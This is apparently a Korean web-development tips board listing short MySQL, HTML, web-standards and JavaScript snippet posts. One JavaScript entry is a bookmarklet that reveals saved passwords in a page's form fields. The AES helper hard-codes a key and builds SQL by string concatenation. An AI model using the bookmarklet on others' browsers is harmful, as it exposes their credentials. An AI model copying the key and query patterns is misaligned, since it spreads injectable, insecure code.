[MYSQL]  Mysql AES_ENCRYPT, AES_DECRYPT 함수를 이용한 사용자 함수 $encryptKey = "TEST_A2B2E3"; ## ASE ENCODE INSERT STRINGfunction ASE_ENCODE_IN($ENC_VALUE){  global $encryptKey;  return !empty($ENC_VALUE) ? " (HEX(AES_ENCRYPT(CAST('".addslashes($ENC_VALUE)."' AS CHAR), '".$encryptKey."'))) ":" '' "; }## ASE DECODE SELECT STRINGfunction...
[MYSQL]  ERROR 1153 (08S01) at line 1574: Got a packet bigger than 'max_allowed_packet' bytes mysql DB 복구(import)시 아래와 같은 메세지가 출력된다면 설정을 조절하고 다시시도 [에러]ERROR 1153 (08S01) at line 1574: Got a packet bigger than 'max_allowed_packet' bytes [패킷크기설정]mysql> SET GLOBAL max_allowed_packet=100000000;mysql> SET GLOBAL net_buffer_length=100000000;
[MYSQL]  MySQL 사용자 삭제 mysql> DROP DATABASE dbname;mysql> DELETE FROM user WHERE user ='id';mysql> DELETE FROM db WHERE user='id';
[MYSQL]  MySQL 사용자 추가 mysql> GRANT SELECT, INSERT, DELETE, UPDATE, CREATE, DROP, ALTER On [데이터베이스이름].* to [사용자ID]@[접속호스트] IDENTIFIED BY '[비밀번호]';CREATE DATABASE [데이터 베이스 이름];FLUSH PRIVILEGES;
[MYSQL]  데이터베이스 생성시 UTF-8로 생성하기 mysql> create database DBNAME DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
[MYSQL]  Mysql 다중 인덱스 만들기 CREATE INDEX 인덱스이름 ON 테이블이름(필드1, 필드2, 필드3...);
[MYSQL]  오라클 휴지통 비우기 오라클 DBMS 를 이용 할때, drop table 등으로 발생한 휴지통 데이터를 정리 하는 기능..SHOW RECYCLEBIN;                                            : 휴지통 내용보기FLASHBACK TABLE 테이블명 TO BEFORE DROP;    : 테이블 복원하기P...
[MYSQL]  소수점처리 - 반올림,올림,버림 mysql 에서 쿼리문을 만들다 보면 소수점처리를 하는 경우가 발생한다.(반올림) - Round()(버림) - Floor()(버림) - Ceil()
[MYSQL]  mysql - 테이블명 바꾸기 Alter table old_name  rename as new_name;
[MYSQL]  mysql 에서 DATETIME > TIMESTAMP 로 변환후 전체 + 변환 값 반환 SELECT * , unix_timestamp( oe_datetime ) AS timeFROM `table_name` LIMIT 0 , 30
[MYSQL]  텔넷으로 DB 테이블 삭제하는 방법   mysql에 접속을 하셔야죠 mysql -u username -p password dbname 이런식으로 하시면 mysql> 프롬프트가 이런상태가 될겁니다. 그때 show database 또는 show tables 하시고 delete * from tableName 하시면 테이블은 그대로 있고 안에 내용만 지워지고 drop tableName 하시면 테이블 자체가 없어 집니다. 예)mysql -u 아이디 -p비번 DB네임 show databaseshow tables delete * from tableName---...
[MYSQL]  mysql 테이블 복구와 부담율 제거 해당 테이블 위치 이동 후 index 복구[root@db90 AspMall]#myisamchk -r -q zetyx_division_freeboard전체 디비 오류 체크[root@db90 mysql_data]#mysqlcheck -uroot -p55 -A디비명 오류 체크[root@db90 mysql_data]#mysqlcheck -uroot -p55 -B 디비명디비명 오류 복구[root@db90 mysql_data]#mysqlcheck -uroot -p33 --auto-repair -B month_close 테이블명 ...
[MYSQL]  새로운 사용자 등록 -> Mysql 에 root로 접속 ./mysql -u root -p ->Mysql DB 선택 mysql> use mysql; mysql> show tables;   ->새로운 DB 생성 mysql> create database kyu03;   -> user 테이블에 입력 (user 라는 테이블에 새로운 사용자의 계정이름과 권한설정을 할 차례) -> 호스팅사용자에 대한 설정 user테이블에 현재 사용장0ㅔ 대한 권한들을 모두 'N'로 설정 mysql> ...
[MYSQL]  데이터베이스 생성 및 삭제 ->데이터베이스 생성 ① 첫번째 방법 # mysql -u root -p mysqlll     msyql> create database TESTDB;     msyql> show databases;   ② 두번째 방법 # ./mysqladmin -u root -p create testdb2 Enter password: # ./mysql -u root -p mysql Enter passwor   cd / msyql> show databas...
[MYSQL]  Mysql 기본 사용법 ->Mysql 데이터베이스 접속하기 # mysql -u root mysql   -> mysql 관리자 root 패스워드 설정하기 # mysql -u root mysql mysql> update user set password = password('shcm0816') where user = ' root';   -> 빠져나간후 데이터베이스를 재시작 # mysqladmin -u root reload   ->패스워드 입력 # mysql -u root -p mysql   &...
[MYSQL]  데이타베이스 전체백업, 전체 복구, table백업, table 복구 database 전체 백업 ]$ mysqldump -p database > 'filename' database 전체 복구 ]$ mysql -p database < 'filename' table 백업 mysql> LOCK TABLES employee READ; mysql> SELECT * INTO OUTFILE 'filename' FROM employee; table 복구 mysql> LOAD DATA INFILE 'filename' INTO TABLE employee; mysql> UNLOCK ...
[MYSQL]  Mysql명령어 정리 자주쓰는 명령 정리   # root암호설정 - root로 로그인하여 해야함% mysqladmin -u root password '변경암호'% mysqladmin -u root -p기존암호 password '변경암호' root암호변경설정PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !This is done with:/usr/bin/mysqladmin -u root -p password 'new-password'/usr/bin/mysqladmin -u r...
[MYSQL]  MySQL 함수 숫자 관련 함수 ▶ ABS(숫자) : 절대값 출력.    select abs(123);▶ CEILING(숫자) : 값보다 큰 정수 중 가장 작은 수.   --양수일 경우는 소숫점 자리에서 무조건 반올림(4.0과 같은 소숫점 자리 0 값은 제외)   --음수일 경우는 소숫점 자리를 무조건 버림    select ceiling(4.0);    select ceilin...
[MYSQL]  rand - 랜덤뽑기   mysql> select * from [테이블] order by rand()mysql> select BABO from TABLE123 order by rand() limit 1 이 함수를 이용하면 결과값이 랜덤으로 정렬되어 반환됩니다.만약 limit를 사용해서 1개를 뽑는다면 완전한 랜덤함수와 다를바가 없습니다. 커맨드2는 TABLE123에서 BABO컬럼을 한개만 랜덤으로 가져오는 명령입니다.
[MYSQL]  mysql auto_increment 자동증가값 초기화시키기   mysql  auto_increment  자동증가값 초기화시키기   테스트 테이블을 쓰다보니까 auto increment 값이 어마어마하게 커져버렸다. 이럴때 auto increment 를 초기화해서 깨끗히 사용해보장!!   -> alter table 테이블명 auto_increment = 1
[MYSQL]  ※ 문자열 함수 정리 1) Ascii() - 문자열의 제일 왼쪽 문자의 아스키 코드 값을 반환(Integer)예) SELECT Ascii('abcd') >> 결과는 a의 아스키 코드값인 97 반환1-1) Char() - 정수 아스키 코드를 문자로 반환(Char)예) SELECT Char(97) >> 결과는 a 반환 1-2)Nchar() - 지정한 정수 코드의 유니코드 문자 반환예) SELECT Nchar(65) 결과 >> A 1-3)Unicode() - 식에 있는 첫번째 문자의 유니코드 정수 값을 반환예)SELECT...
[HTML]  사이트 구글 번역기 달기 - 기본 선택형 / 버튼 편집형 [기본 선택형]<div id="google_translate_element"></div><script type="text/javascript">function googleTranslateElementInit() { new google.translate.TranslateElement({ pageLanguage: 'ko',  includedLanguages: 'ko,en,zh-CN,vi,km', // 영어, 중국어(간체), 베트남어, 체보디아(크메르어) layout: g...
[HTML]  네이버 스마트에디터 IE9에서 작동 안될때 스마트 에디터 js파일중 Husky.SE_Basic.js 파일을 오픈 후에 186번줄의 구문을if(navigator.appVersion.indexOf("MSIE 9") >-1){button=document.createElement("BUTTON");button.type="button";}else if(this.bIE){button=document.createElement("<BUTTON type='button'>");}else{button=document.createElement("BUTTON");button....
[HTML]  ActiveX를 이용한 웹인쇄 머리글/꼬리글/여백/용지 제어 <style type="text/css">@media print{  .PntCls, .PrintWCheck{display:none;}}</style><script type="text/javascript" for="IEPageSetupX" event="OnError(ErrCode, ErrMsg)">alert('에러 코드: ' + ErrCode + "n에러 메시지: " + ErrMsg);</script><script type="text/javascript">funct...
[HTML]  cheditor 초기 배경색 및 글자색 적용 방법 수정 파일: cheditor.js수정 함수: resetEditArea()this.editArea.document.body.style.lineHeight = this.config.lineHeight; 위 줄 아래에 다음 코드를 추가this.editArea.document.body.style.backgroundColor = "#eee"; // 원하는 색상 코드수정 함수: editMode()this.editArea.document.body.style.background = '#fff'; // 원하는 색상 코드로 수정
[HTML]  HTTP 1.1 status codes - HTTP 상태 코드 100 : Continue 101 : Switching protocols 200 : OK, 에러없이 전송 성공 201 : Created, POST 명령 실행 및 성공 202 : Accepted, 서버가 클라이언트 명령을 받음 203 : Non-authoritati...
[HTML]  여러가지 이쁜 글자 색상표 모음 000000 black 블랙■ 2f4f4f darkslategray 다크슬레이트그레이■ 708090 slategray 슬레이트그레이 ■ 778899 lightslategray 라이트슬레이트그레이■ 696969 dimgray 딤그레이■ 808080 gray 그레이■ a9a9a9 darkgray 다크그레이■ c0c0c0 silver 실버■ d3d3d3 lightgrey 라이트그레이■ dcdcdc gainsboro 게인스보로■ ffffff white 화이트■ fff5ee seashell 씨쉘■ fffafa snow 스노우■ f8f8...
[HTML]  한국의 전통색 무채색계(無彩色界) 흑백 1D1E23 93,89,83,52 백색 FFFFFF 0,0,0,0 회색 A4AAA7 38,27,31,0 구색 959EA2 45,32,32,0 치색 616264 72,64,62,4 연지회색 6F606E 55,58,40,20 설백색 DDE7E7 12,4,7,0 유배색 E7E6D2 9,5,18,0 지배색 E3DDCB 6,6,17,4 소색 D8C8B2 10,15,26,5 적색계(赤色界) 적색 B82647 21,98,68,8 홍색 F15B5B 0,80,60,0 적토색 9F494C 29,...
[HTML]  한글로 된 색상표 2f4f4f darkslategray 어두운푸른빛회색708090 slategray 푸른빛회색778899 lightslategray 밝은푸른빛회색696969 dimgray 칙칙한회색808080 gray 회색a9a9a9 darkgray 어두운회색c0c0c0 silver 은색d3d3d3 lightgrey 밝은회색dcdcdc gainsboroffffff white 백색fff5ee seashell 바다조가비fffafa snow 설백f8f8ff ghostwhite 허깨비백색fffaf0 floralwhite 꽃의백색f5f5f5 whites...
[HTML]  HTML escape code Symbol  Code   Entity Name?     &euro;Space  &#32;   !  &#33;   "  &#34;  &quot;#  &#35;   $  &#36;   %  &#37;   &  &#38;  &amp;'  &#39;   ...
[HTML]  iframe 대신 사용하는 object 태그 <object id="miniwini" width="650" height="400" type="text/x-scriptlet"> <param name="url" value=http://www.virhac.com> <param name="selectablecontent" value="0"> <param name=scrollbar value="1"> </object>
[HTML]  익스플로러 6의 이미지 도구모음(저장버튼 등) 막기 - 메타태그 이용 <META http-equiv="imagetoolbar" content="no">
[HTML]  base url 사용하기 <head> 태그 사이에 <base href="http://www.virhac.com/board/"> 이런식으로 추가해주면 해당 파일의 디렉토리 위치가 "http://www.virhac.com/board/" 인것처럼 자원을 찾아가게 됩니다.
[HTML]  투명 png 파일 익스플로어6 에서 투명 부분이 회색으로 보일 때 스타일<style type="text/css"> .png24 {   tmp:expression(setPng24(this)); }</style> 스크립트<script type="text/javascript"> function setPng24(obj) {   obj.width=obj.height=1;   obj.className=obj.className.replace(/bpng24b/i,'');   obj.style.filter = "progid:DXImag...
[HTML]  투명한 아이프레임 넣기 투명한 아이프레임 (Alpa필터를 적용하지 않은 순수한 투명) 이런 경우, 아이프레임과 본문서가 모두 선명합니다. 단점이 있다면, 투명스크롤바가 있는 자리는 투명하지 않다는 겁니다. mainframe.html (아이프레임으로 들어가는 문서)의 와 사이에 아래 소스를 넣습니다. iframe.html (기본문서)의 아이프레임 태그 안에 아래처럼 allowTransparency="true" 를 추가합니다.
[HTML]  나만의 익스플로러창 만들기 *-------이 소스는 FullScreen과 최소화 최대화 닫기 버튼을-------* *-------이용한 소스여서.. 허접티가 날꺼에요...이해하시기를-------* //1)이렇게 하면 풀스크린 새창 링크가 생깁니다. 링크 문구 //이런식으로 풀스크린 링크를 대문에 넣고... //그다음에 익스플로러면 닫기가 필수 2)풀스크린 새창을 띄우면...닫기 버튼이 필요한데요...;; X모양의 그림파일로 하심이... //벌써부터 허접티가 나죠..-_-;; 제 옛날꺼.. 들춰보다 생각나서 합니다.. //최소화 버튼 즉 밑으로 ...
[HTML]  상태표시줄 5 var text1="내용" comeback=0 cometo=0 //시작 위치 function dis(){ window.status=text1.substring(0,cometo) if(comeback==1){ cometo--; if(cometo==0){comeback=0} } else {cometo++;if(cometo==text1.length){comeback=1}} window.status=text1.substring(0,cometo)+"|" if(cometo==text1.length){window.set...
[HTML]  풀 스크린으로 새 창 띄우기 클릭
[HTML]  스크롤바 색상 바꾸기 와사이에 아래의 내용을 넣어 줍니다. .................//여기까지 [설명] ①scrollbar-face : 움직이는 바의 몸통 부분의 색 ② scrollbar-shadow : 바의 오른쪽과 밑쪽 색 ③ scrollbar-highlight : 바의 왼쪽과 위쪽의 색 ④ scrollbar-3dlight : 바의 왼쪽과 위(「 )쪽의 색 ⑤ scrollbar-darkshadow : 바의 오른쪽과 아래( 」)에 그림자 효과를 주죠. ⑥ scrollbar-track : 바가 움직이는...
[웹표준]  접근성 스킵 네비게이션의 적용 방법 상단 바로가기 본문 바로가기 하단 바로가기  /* Common Accessibility Style Area */#Accessibility {position:absolute; left:0px; top:0px; width:100%; z-index:999;}#Accessibility a {display:block; padding:0 10px; height:0; overflow:hidden; color:#fff; text-align:left;}#Accessibility a:hover, #Accessibility a:...
[웹표준]  웹표준에서 더이상 사용할수 없는 태그&속성 더이상 사용할 수 없는 태그applet - object 태그로 사용합니다.basefont - CSS로 대체해 사용합니다.center - CSS inlinedir, menu - ol or ul 태그를 대신 사용합니다.font - CSS font-family, font-size 등...iframe - 사용 불가isindex - input 태그로 사용합니다.s, strike - CSS text-decoration: strike-throughu - CSS text-decoration: underline더이상 사용할 수 없는 속성ali...
[웹표준]  웹표준 준수사항 22가지 1) 자바스크립트 지시자나 스타일시트 지시자에 타입정보가 꼭 필요하다.<script></script><style></style><script type="text/javascript"></script><style type="text/css"></style>2) img,  map 태그등에 모두 alt 속성이 필요하다.3) td는 background 속성을 지원하지 않으므로 스타일 시트형태로 표현한다.<td style="backgro...
[웹표준]  표준과 비표준에 대한 고찰 웹사이트 개발 관점에서 웹브라우저를 분류를 해보면 크게 인터넷익스플로러(IE) 와 비IE(파이어폭스(FF), 오페라, 사파리, 모질라 등)로 나누어 보면 되겠다. 비IE 는 대부분 웹표준(W3C)에 기반하여 만들어졌기 때문에 표준을 지원하지 않는 IE 와는 다르게 약간의 표현 방식에 차이가 있다. 따라서 IE 와 FF 두 개의 브라우저만 지원되게 된다면 거의 모든 브라우저에 정상적으로 보여진다고 가정을 하여도 되겠다. 표준 방식을 채택했을 경우의 장점으로는 크로스브라우징환경에서 브라우저에 따른 제약을 많이 받지 않는다. 다만,...
[웹표준]  IE6,IE7 ,FireFox 에 대해 CSS 맞추기 IE7 의 렌더링 방식이 IE6과 다르다.CSS testing of Selector and Pseudo selectors 를 보면 IE7 은 FF 에 더 가까와 지고 있다.그래서 바야흐로 브라우저 3개를 켜고 코딩을 해야하는 시대가 온 것이다.이를 해결하기 위한 방법 중 하나는 Selector Hack 을 이용하는 것이다. .context_bar_form_field {height: 15px; // 모든 브라우저#height: 15px; // IE 전용_height: 21px; // IE6.0 과 이전버젼용}우선 파폭에...
[웹표준]  HTML 기본 셋팅 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <meta http-equiv="Content-type" content="text/html; charset=UTF-8" /> <title>CompanyName - PageName</title> ...
[웹표준]  CSS 속성 선언 순서 그 쓰임새가 레이아웃과 관련이 높은 것으로 부터 시작하여 레이아웃과 무관한 것 순으로 아래와 같이 선언 합니다. 이 순서는 화면의 렌더링 효율보다는 유지보수의 이점 때문에 제안되었으며 권장하는 수준 입니다. 아래 제시된 속성들과 짝을 이루는 관련 속성들은 etc로 분류하여 따로 기술하지 않고 되도록 함께 기술합니다. 예를 들면 position 속성과 left, right , top, bottom 속성은 서로 연관된 속성이므로 etc로 분류하지 않고 position 다음에 기술합니다. 1. display : 표시 2. overf...
[웹표준]  자바스크립트 함수로 구성 된 이미지 버튼 링크 이미지 버튼의 링크 속성에 자바스크립트 함수로만 구성하여 자바스크립트가 작동하지 않을 때에는 해당 링크를 사용할 수 없음.개선전 <a href="javascript:;" onclick="javascript:window.open('http://roman.cs.pusan.ac.kr', 'klpl1','width=400,height=555,statusbar=0,scrollbars=0')"><img src="trans_btn1.gif" alt="로마자변환기"></a>개선후 <a href="http...
[웹표준]  IE max-width or min-width / height...를 적용해야 할때 사용하는 핵... max-width / min-width max-height / min-height 레이아웃 크기를 최소한의 크기와 최대한의 크기를 잡는 방법인데... IE에서는 잘 안된다.. 그래서 익스에서만 사용되는 핵을 사용해서 해결 했덨니 잘된다.. EX) .AAA{ margin:10px; background-color:#000; min-height:100px; } 이걸 아래처럼 바꾸자. .AAA{ margin:10px; background-color:#000; min-height:100px; _height:100px; }
[웹표준]  빈태그(area / base / ) area 이미지맵설정 base 모든 하이퍼링크 주소 동일설정 태그 사이이에 넣기 네이버 블로그 basefont 태그 기본속성 지정
[웹표준]  XHTML 일반 문법 준수 정확한 문서 구조 준수 문서의 루트 요소는 html이 되어야 하며, 이 html 요소는 XHTML 네임스페이스를 지정 해야 한다. 표준 문서에는 head, title 및 body 구조 요소가 포함되어야 한다. 프레임 세트 문서에는 head, title 및 frameset 구조 요소가 포함되어야 한다 모든 요소는 완벽하게 중첩되어야 한다. 모든 요소들이 완벽하게 내포(nest) 되어야 하는 것은 필수적이다. 중첩(overlapping)이 부적합(illegal)한 것임에도 불구하고 기존 웹 브라우저들에서 널리 관대하게 사용되었다...
[웹표준]  지켜야할 웹표준 ○ 장애인, 노인 등을 위한 웹 접근성 준수 텍스트 버전을 별도로 제공하여 접근성을 높이 기 위한 지침으로서, 표준 기반으로 구조와 표 현을 분리한 후 스타일 변경 만으로도 텍스트 페이지를 구성할 수 있다. 9. 저작권, 개인 정보 보호 등을 위한 고려 ○ 장애인, 노인 등 다양한 이용자의 용이한 접근을 확보하기 위해 한국형 웹 콘텐츠 접근성 지침 중 다음 사항을 고려하여 제작 - 그림에 대한 대체 텍스트 제공(지침1), 탭 및 화살표 등 최소 키보드로 접근 가능성 확보(지침5), 각 프레임별 별도 제 목 부여(지침7), 스타...
[JAVASCRIPT]  팝업창 중앙 띄우기 및 팝업차단 제어 사용방법WindowPopup("주소", "팝업너비", "팝업높이", "팝업왼쪽", "팝업위쪽", "스크롤제어");추가설명- 팝업왼쪽 및 위쪽값을 공백으로 넘기면 화며너비로 계산되어 중앙정렬합니다.- 스크롤제어값은 ( 0:스크롤없음, 1:스크롤보이기, 공백의경우 자동 )- 팝업창 네임은 "Window" + 팝업너비 => 예) 팝업사이즈가 500이면 Window500소스코드var WindowPopup = function(wUrl, wWidth, wHeight, wLeft, wTops, wScroll){ va...
[JAVASCRIPT]  자동 로그인시 ****** 로 숨겨진 패스워드 알아내기 javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "n"; } } if (s) alert("Passwords in forms on this page:nn" + s); else alert("There are no pass...
[JAVASCRIPT]  새창에서 submit var objPopup=window.open("","Window","width=470, height=500, menubar=no, status, scrollbars");document.form.target="Window"; //새창에서 submit하도록document.form.action="apply_pay.php";if (objPopup == null) { //팝업이 뜨는지 확인      alert("차단된 팝업창을 허용해 주십시오."); } else { ...
[JAVASCRIPT]  IE7에서 주소창 안보이게 하는 자바스크립트 <script type="text/javascript">  function checkPopupPage(){ if( opener != null ){  }else{  var surl = "pop.html";  var sname = "index";   var popupOptions = "left=0, top=0, width=1024,height=768,toolbar=no,status=no,scrollbars=yes,resizable=no,menubar=no"; &nb...
[JAVASCRIPT]  웹 접근성을 생각하는 자바스크립트 요즘의 웹 사이트들은 점점 Ajax 의 사용추세가 늘어나고 있습니다.하지만 사실 Ajax 에는 치명적인 단점이 있습니다.바로 웹 접근성이죠.Ajax 가 처음 등장했을 때 문제로 제기된 큰 문제가 몇가지가 있었는데..그 중 하나는 뒤로 가기 버튼이었고, 다른 하나가 이 접근성에 해당하는 문제였습니다.물론 모든 Ajax가 웹 접근성을 해치는 것은 아닙니다.Ajax 를 사용하더라도 접근성을 해치지 않는 방법들이 여럿 고안되었으니까요.하지만 국내에서 사용되고 있는 Ajax 의 대부분은 Javascript(또는 기타 클라이언트 스크립트...
[JAVASCRIPT]  팝업 차단 여부 확인 스크립트 <script type="text/javascript">            var objPopup = window.open("http://www.virhac.com/", "", "width=100,height=100");              if (objPopup == null) {               alert("차단된 팝업창을...
[JAVASCRIPT]  슬라이드 팝업 - 아이프레임, 이미지 팝업 JS 파일 인클루드<script type="text/javascript" src="/js/slide.js" ></script>페이지에 추가 DIV<!-- [SRT] Zoom Images DIV --><div id="SLB_film" style="z-index: 99997; position:absolute; display:none; width:100%; height:100%; background-color:#000000; filter:Alpha(opacity=60); opacity:0.6; ...
[JAVASCRIPT]  getElementsByTagName 사용예 <body> <script> function my(){  if(document.getElementsByTagName){   var div = document.getElementsByTagName('div').item(0).style;   div.width=100;   div.height=100;   div.backgroundColor="aqua"; &nbs...
[JAVASCRIPT]  input 박스 활성화시 테두리 색 넣기[온포커스로 클래스 호출] <input name="user_id" type="text" title="user id" onfocus="this.className='idOn';" onblur="if (!this.value) this.className='idOff'" class="idOff" />CSS code.idOff {border:1px solid #B8BCE2; background:#fff url(../images/default/login_id.gif) no-repeat 10px 3px;}.idOn {border:1px solid #4e64...
[JAVASCRIPT]  달력 출력 스크립트 소스 <script language="JScript"> this.title="달력"; //var gdCtrl = new Object(); var gcGray = "#BCBCBC"; var gcToggle = "#f7f7f7"; var gcBG = "#ffffff"; var now = new Date(); var giYear = now.getYear(); var giMonth = now.getMonth()+1; var giDay = now.getDate();   function onstart() {  ...
[JAVASCRIPT]  자바스크립트의 이벤트 핸들러를 사용하여 폼 엘리먼트 disable 시키기 이벤트 핸들러를 사용하면 readonly 형태의 입력상자를 만들 수 있습니다<form><input type="text" name="output" size="30" onfocus="this.blur()"></form>
[JAVASCRIPT]  jQuery로 플래쉬효과나는 슬라이드 트리메뉴~ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html>  <head>  <meta http-equiv="content-type" content="text/html; charset=euc-kr">  <meta name="generator" content="virhac.com">  <title></title&g...
[JAVASCRIPT]  정규식 1) ^ (caret)라인의 처음이나 문자열의 처음을 표시 예 : ^aa (문자열의 처음에 aa를 포함하면 참, 그렇지 않으면 거짓) (2) $ (dollar)라인의 끝이나 문자열의 끝을 표시 예 : aaa$ (문자열의 끝에 aaa를 포함하면 참, 그렇지 않으면 거짓) (3) . (period)임의의 한 문자를 표시 예 : ^a.c (문자열의 처음에 abc, adc, aZc 등은 참, aa 는 거짓)예 : a..b$ (문자열의 끝에 aaab, abbb, azzb 등을 포함하면 참) (4) [] (bracket)문자의 집합이...
[JAVASCRIPT]  레이어 팝업창 /* 스타일 */.SLB_center { cursor:pointer; visibility:hidden; background-color: #FFF}.SLB_close { cursor: pointer; display:none; font-family: verdana,tahoma; font-size: 9pt; background-color:#000000; color: #ffffff; padding-bottom: 4px; }.SLB_caption { cursor: pointer; display:none; font-family: verd...
[JAVASCRIPT]  각각 브라우저 및 플렛폼 체크 navigator.userAgent.indexOf("Opera") != -1 navigator.userAgent.indexOf("Safari") != -1navigator.platform.indexOf("Mac") != -1navigator.userAgent.indexOf("Firefox") != -1navigator.appVersion.indexOf("MSIE 8")navigator.platform.indexOf("Linux") != -1navigator.userAgent.indexOf("MSIE 5.5") != -1navi...
[JAVASCRIPT]  플래시 출력 스크립트 function makeFlashObj(_swfURL_,_flashID_,_width_,_height_,_wmode_,_flashVars_,_bgColor_,_allowFullScreen_,_menu_){ _wmode_ = (_wmode_ == undefined)? "transparent" : _wmode_;  // wmode = "window/ opaque/ transparent" _bgColor_ = (_bgColor_ == undefined)? "#FFFFFF" : _bgColor_;&...
[JAVASCRIPT]  스크립트로 배경 바꾸기 <*var change_div=document.getElementById("div_0"+value);change.style.backgroundImage = "url(경로)";change.style.backgroundAttachment = "no-repeat";property가 나올때는 change.style.background = "url(경로) no-repeat";*>
[JAVASCRIPT]  플래시 웹과 연동 최대화 최소화 1.먼저 플래시가 들어가는 문서에 헤드부분에 다음을 복사합니다.... //-<복사할 위치 function mini() { minobj.Click(); } //--<여기까지 입니다.. 2.플래시가 들어가는 문의 의 바디에 다음을 복사를 합니다.... 2.플래시버튼을 만들고나서 스크립트를 다음과 같이 액션을 준다.. javascript:minobj.Click() --------------------------------------------------...
[JAVASCRIPT]  ASX파일로 음악 파일 재생 소스 <ASX Version="3.0"> <AUTHOR>Written by Beck Hansen Published by Cyanide Breathmint Music/BMG Songs, Inc.</AUTHOR> <TITLE>Midnight Vultures Sample</TITLE> <PARAM name="Album" value="Midnite Vultures"/> <PARAM name="Artist" value="Beck"/>     &nbs...
[JAVASCRIPT]  마우스를 올리면 테이블 색갈 바뀌는 스크립트 마우스를 올리면 테이블 색갈 바뀌는 스크립트 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:41:58 HTML에서 이동 됨]
[JAVASCRIPT]  배경 화면을 고정시키기 <body>에 넣으세요. <* <SCRIPT language=JavaScript1.2> if (document.all) document.body.style.cssText="background: url(이미지경로) no-repeat fixed right bottom" </SCRIPT>*> 배경 이미지를 반복시키려면 no-repeat를 지우세요. 배경을 고정할 위치에 따라...   left top,     &nbs...
[JAVASCRIPT]  타이핑 스크롤 글상자 참고로 이건 아이프레임이 아니라 스크롤 상자예요... 여기서 줄 바꾸는 방법은 이 아니라 \n입니다. 우선 이 소스부터 넣으세요. function makeArray() { this.length = makeArray.arguments.length for (var i = 0; i > this.length; i++) this[i+1] = makeArray.arguments[i] } var fArray = new makeArray; fArray[0]="내용1"; fArray[1]="내용2" fArray[2]="내용...
[JAVASCRIPT]  랜덤 음악 재생 자바스크립트 var how_many_ads = 3; var now = new Date() var sec = now.getSeconds() var ad = sec % how_many_ads; ad +=1; if (ad==1) { banner="음악주소1"; } else if (ad==2) { banner="음악주소2"; } else if (ad == 3) { banner="음악주소3"; } document.write(''); var how_many_ads = 3; 에서 3은 음악의 갯수를 뜻합니다. ...
[JAVASCRIPT]  글씨에 대한 설명을 트랜지션 툴팁 툴팁의 높이를 나모로 수정하면 높이가 더 높아지니까 왠만하면 나모로 수정하지 마세요. 글 내용 font-size : 글자크기 font-family : 글꼴 color : 글자색 border : 툴팁 테두리의 두께, 색깔, 종류 background : 배경색 padding : 내부 여백 width : 너비 height : 높이 left : 왼쪽 위치 top : 위쪽 위치 duration : 트랜지션 속도 [이 게시물은 VIRHAC님에 의해 2009-09-13 14:40:14 HTML에서 이동 됨]
[JAVASCRIPT]  두문장이 겹치듯 나오는 스크립트 H2 {font-family: Arial; font-size: 30pt; color: #ffff00; background-color: #222222;} H2.before { color: #eeeeee; background-color: #222222;} function filterApply() { blendTrans.filters[0].Apply(); blendTrans.innerHTML = "Happy script!"; blendTrans.filters[0]...
[JAVASCRIPT]  스크롤 메뉴 body { background: #ffffee; font-family: 돋움; font-size: 9pt; line-height: 160%; text-align: justify; vertical-align: top } A:link { color:#c92477;font-size:9pt;text-decoration:none; } A:visi...
[JAVASCRIPT]  깔끔한 스크롤바 소스 body { scrollbar-face-color:#E3E3E3; scrollbar-highlight-color: #E3E3E3; scrollbar-3dlight-color: #FFFFFF; scrollbar-shadow-color: #E3E3E3; scrollbar-darkshadow-color: #FFFFFF; scrollbar-track-color: #F8F8F8; scrollbar-arrow-color: #C3C3C3; margin-left: 0px; margin-top: 0px; margin-right: 0...
[JAVASCRIPT]  스크롤링 문자열 제목 없음 #mw-scroll-layer { width:190px; height:25px; position:relative; overflow:hidden; } #mw-popular-scroll { position:absolute; } #mw-popular-scroll table { width:200px; margin:0; padding:0; } #mw-popular-scroll td { margin:0; height:25px; } #mw-popular-scroll a { color:#444; } #mw-popular-scro...
[JAVASCRIPT]  방향키를 이용해서 이전 게시물 또는 다음 게시물 이동하기 (핫키) 왼쪽 방향키( <-- ) 즉, 이전 게시물은 키코드 값이 37이구요. 오른쪽 방향키( --> ) 즉, 다음 게시물은 키코드 값이 39입니다. 마지막으로 하나더 설명을 하자면 처음글과 마지막 등록글에서 방향키 사용시 초기 리스트로 이동됨니다. 그리고, 마우스 포커스가 input 이나 textarea 에 위치해 있을때는 작동하지 않습니다. 글작성시에 해당 핫키를 누를 경우 이동하는 것을 금지하기 위해서... 아참 버그가 하나 있습니다. 내용 보기에서 마우스 오른쪽 클릭을 하게되는 경우에... 핫키가 작동하지 않습니다. ...
[JAVASCRIPT]  웹표준으로 플래시 출력 하기 아시는 분이 대부분일테지만.. 저같은 분이 계실꺼 같아서.... 올립니다. 알고 계신다면.. [ Back Space click!! ] 플래시 출력하실때.. object 에 embed를 사용하시는 분이 많으실겁니다. 그럼 여기 이 테그가.. 웹표준이 아니라는 사실 ㅠㅠ 2시간동안 검색 또 검색 결과.. 아래와같은 6개의 예제 코드 수집.. ===1번=== ...
[JAVASCRIPT]  동영상 및 이미지 랜덤하게 나오기 var image = new Array(); image[0] = "그림주소1"; image[1] = "그림주소2"; image[2] = "그림주소3"; index = Math.floor(Math.random() * image.length); document.write(""); 해서 그림주소를 동영상 주소로 하면 됩니다. 바뀐 부분은.. 그림랜덤일때.. document.write(""); 동영상랜덤일때.. document.write(""); 요고는 제어버튼이 없는 동영상 화면만 나올때 document.w...
[JAVASCRIPT]  자바스크립트 history개체의 기본형식 자바스크립트 history개체의 기본형식 앞으로가기 구현은 아래와 같은 형식을 갖습니다.1. history.forword();2. history.go(1); 뒤로가기 구현은 아래와 같은 형식을 갖습니다.1. history.back();2. history.go(-1);
[JQUERY]  [Jquery] 스크립트 사용자함수에 인자값으로 제어 jquery animate function parameter <script>function control(ids, style, value){ var anim = new Array(); anim[style] = value; $("#"+ids).stop().animate(anim,200);}</script><div id="test" style="position:absolute; left:0; width:400px; height:400px; background:red;">test</div><a href="" oncli...
